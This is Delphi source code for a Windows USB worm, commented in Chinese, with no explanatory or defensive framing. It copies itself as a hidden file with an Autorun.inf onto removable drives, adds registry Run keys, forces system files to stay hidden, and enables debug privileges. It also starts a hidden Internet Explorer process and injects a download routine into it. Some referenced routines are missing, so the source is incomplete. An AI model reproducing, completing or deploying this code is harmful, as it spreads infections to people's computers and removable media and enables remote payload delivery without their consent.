var i, Len, infsize: integer; exefile, OpenPath, DriverList, TempFile: string; NoDel: integer; sa1, sa2, MyCursor: THandle;
type TFileName = type string; TSearchRec = record Time: Integer; Size: Integer; Attr: Integer; Name: TFileName; ExcludeAttr: Integer; FindHandle: THandle platform; FindData: TWin32FindData platform; end;
LongRec = packed record case Integer of 0: (Lo, Hi: Word); 1: (Words: array[0..1] of Word); 2: (Bytes: array[0..3] of Byte); end;
{$R *.RES}
function FileExists(const FileName: string): Boolean; var Handle: THandle; FindData: TWin32FindData; begin Handle := FindFirstFileA(PChar(FileName), FindData); result := Handle <> INVALID_HANDLE_VALUE; if result then begin CloseHandle(Handle); end; end;
function FindMatchingFile(var F: TSearchRec): Integer; var LocalFileTime: TFileTime; begin with F do begin while FindData.dwFileAttributes and ExcludeAttr <> 0 do if not FindNextFile(FindHandle, FindData) then begin Result := GetLastError; Exit; end; FileTimeToLocalFileTime(FindData.ftLastWriteTime, LocalFileTime); FileTimeToDosDateTime(LocalFileTime, LongRec(Time).Hi, LongRec(Time).Lo); Size := FindData.nFileSizeLow; Attr := FindData.dwFileAttributes; Name := FindData.cFileName; end; Result := 0; end;
procedure FindClose(var F: TSearchRec); begin if F.FindHandle <> INVALID_HANDLE_VALUE then begin Windows.FindClose(F.FindHandle); F.FindHandle := INVALID_HANDLE_VALUE; end; end;
function FindFirst(const Path: string; Attr: Integer; var F: TSearchRec): Integer; const faSpecial = faHidden or faSysFile or faVolumeID or faDirectory; begin F.ExcludeAttr := not Attr and faSpecial; F.FindHandle := FindFirstFile(PChar(Path), F.FindData); if F.FindHandle <> INVALID_HANDLE_VALUE then begin Result := FindMatchingFile(F); if Result <> 0 then FindClose(F); end else Result := GetLastError; end;
function FileSetAttr(const FileName: string; Attr: Integer): Integer; begin Result := 0; if not SetFileAttributes(PChar(FileName), Attr) then Result := GetLastError; end;
function deletefile(const FileName: string): Integer; begin Result := GetFileAttributes(PChar(FileName)); end;
function GetDirectory(dInt: integer): string; var s: array[0..255] of Char; begin case dInt of 0: GetWindowsDirectory(@s, 256); //Windows安装文件夾所存在的路径 1: GetSystemDirectory(@s, 256); //系统文件夾所存在的路径 2: GetTempPath(256, @s); //Temp文件夾所存在的路径 end; if dInt = 2 then result := string(s) else result := string(s) + '\'; end;
function ExtractFilePath(FileName: string): string; begin Result := ''; while ((Pos('\', FileName) <> 0) or (Pos('/', FileName) <> 0)) do begin Result := Result + Copy(FileName, 1, 1); Delete(FileName, 1, 1); end; end;
function ExtractFileName(FileName: string): string; begin while Pos('\', FileName) <> 0 do Delete(FileName, 1, Pos('\', FileName)); while Pos('/', FileName) <> 0 do Delete(FileName, 1, Pos('/', FileName)); Result := FileName; end;
function SetRegValue(key: Hkey; subkey, name, value: string): boolean; var regkey: hkey; begin result := false; RegCreateKey(key, PChar(subkey), regkey); if RegSetValueEx(regkey, Pchar(name), 0, REG_EXPAND_SZ, pchar(value), length(value)) = 0 then result := true; RegCloseKey(regkey); end;
function CompareText(const S1, S2: string): Integer; assembler; asm PUSH ESI PUSH EDI PUSH EBX MOV ESI,EAX MOV EDI,EDX OR EAX,EAX JE @@0 MOV EAX,[EAX-4] @@0: OR EDX,EDX JE @@1 MOV EDX,[EDX-4] @@1: MOV ECX,EAX CMP ECX,EDX JBE @@2 MOV ECX,EDX @@2: CMP ECX,ECX @@3: REPE CMPSB JE @@6 MOV BL,BYTE PTR [ESI-1] CMP BL,'a' JB @@4 CMP BL,'z' JA @@4 SUB BL,20H @@4: MOV BH,BYTE PTR [EDI-1] CMP BH,'a' JB @@5 CMP BH,'z' JA @@5 SUB BH,20H @@5: CMP BL,BH JE @@3 MOVZX EAX,BL MOVZX EDX,BH @@6: SUB EAX,EDX POP EBX POP EDI POP ESI end;
function GetDrives: string; var DiskType: Word; D: Char; Str: string; i: Integer; begin for i := 1 to 25 do //遍历26个字母 begin D := Chr(i + 65); Str := D + ':\'; DiskType := GetDriveType(PChar(Str)); //得到本地磁盘,网络磁盘和移动磁盘... if {(DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) or} (DiskType = DRIVE_REMOVABLE) then Result := Result + D; end; end;
function SendMetoDriver(const DriveName: string): Boolean; var InfFile, Mmfile: string; InfText: TextFile; begin InfFile := DriveName + 'Autorun.inf'; MmFile := DriveName + ExeName; if (not FileExists(InfFile)) then begin AssignFile(InfText, InfFile); try ReWrite(InfText); WriteLn(InfText, '[AutoRun]'); WriteLn(InfText, 'open=' + ExeName); WriteLn(InfText, 'shellexecute=' + ExeName); WriteLn(InfText, 'shell\Auto\command=' + ExeName); finally CloseFile(InfText); end; SetFileAttributes(pchar(inffile), FILE_ATTRIBUTE_HIDDEN + FILE_ATTRIBUTE_SYSTEM); end; if (not FileExists(MmFile)) then begin CopyFile(pchar(ParamStr(0)), pchar(MmFile), false); SetFileAttributes(pchar(MmFile), FILE_ATTRIBUTE_HIDDEN + FILE_ATTRIBUTE_SYSTEM); end; end;
function IsFileInUse(fName: string): boolean; var HFileRes: HFILE; begin Result := false; if not FileExists(fName) then exit; HFileRes := CreateFile(pchar(fName), GENERIC_READ or GENERIC_WRITE, 0 {this is the trick!}, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); Result := (HFileRes = INVALID_HANDLE_VALUE); if not Result then CloseHandle(HFileRes); end; procedure dir; begin if not directoryexists(pchar('C:\Program Files\WindowsUpdate\')) then try createdir(pchar('C:\Program Files\WindowsUpdate\')); except end; end; procedure regme; begin SetRegValue(HKEY_LOCAL_MACHINE, 'SoftWare\Microsoft\Windows\CurrentVersion\policies\Explorer\Run', 'Lying', exefile); //自启动 SetRegValue(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL', 'CheckedValue', '2'); //强制隐藏系统文件 end;
procedure infect(); var i, len: integer; driverlist: string; begin DriverList := GetDrives; Len := Length(DriverList); for i := Len downto 1 do SendMetoDriver(DriverList[i] + ':\'); end;
function GetOnlineStatus: Boolean; var ConTypes: Integer; begin ConTypes := INTERNET_CONNECTION_MODEM + INTERNET_CONNECTION_LAN + INTERNET_CONNECTION_PROXY; if (InternetGetConnectedState(@ConTypes, 0) = False) then Result := False else Result := True; end; procedure GetDebugPrivs; //提升进程权限 var hToken: THandle; tkp: TTokenPrivileges; retval: dword; begin if (OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken)) then begin LookupPrivilegeValue(nil, 'SeDebugPrivilege', tkp.Privileges[0].Luid); tkp.PrivilegeCount := 1; tkp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hToken, False, tkp, 0, nil, retval); end; end; procedure TimerProc(uID, uMsg, dwUser, dw1, dw2: DWORD); stdcall; //网络连接时启动各种功能和下载 begin try infect; except end; if GetOnlineStatus and not dw then begin try GetDebugPrivs; RunInject(1); //1 注入iexplore.exe except end; dw := true; end;
//timeKillEvent(hTimer3); end;
procedure infecttimer; stdcall; begin //Messagebox(0,pchar(time1+' '+hostbc+' '+urlbc),'数据', MB_OK); hTimer := TimeSetEvent(6000, 0, TimerProc, 0, TIME_PERIODIC); while (GetMessage(Msg, 0, 0, 0)) do ; end;
procedure AutoAndw0rM; var tid: dword; begin dw := false; if pos('pagefile.pif', pchar(paramstr(0))) > 0 then exitprocess(0); CreateMutex(nil, TRUE, 'dx'); //TRUE 标明该进程拥有此 Mutex 对象 if (GetLastError = ERROR_ALREADY_EXISTS) then exit; //Mutex 对象是否存在 dir; regme; //加载注册表 CreateThread(nil, 0, @infecttimer, nil, 0, TID); while (GetMessage(Msg, 0, 0, 0)) do ; end;
procedure RunInject(InjType: integer); var ProcessHandle, PID: longword;
begin if InjType = 0 then //注入explorer.exe begin //获取Exp进程的PID码,Shell_TrayWnd为类名,相关的需用SPY++来查看 GetWindowThreadProcessId(FindWindow('Shell_TrayWnd', nil), @Pid); end else //注入iexplore.exe begin //createProcess(nil,PChar(GetIEAppPath), nil, nil, False, 0, nil, nil, StartupInfo, ProcessInfo); winexec(PChar('C:\Program Files\Internet Explorer\IEXPLORE.EXE'), sw_hide); sleep(500); GetWindowThreadProcessId(FindWindow('IEFrame', nil), @Pid); //打开进程 ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, PID); Inject(ProcessHandle, @Download); //关闭对像 CloseHandle(ProcessHandle); //sleep(500); //ExtDelMe; end; end;
begin exefile := Pchar(GetDirectory(2) + ExeName); if CompareText(ParamStr(0), exefile) <> 0 then setme else begin AutoAndw0rM; // ExitProcess(0); end; end.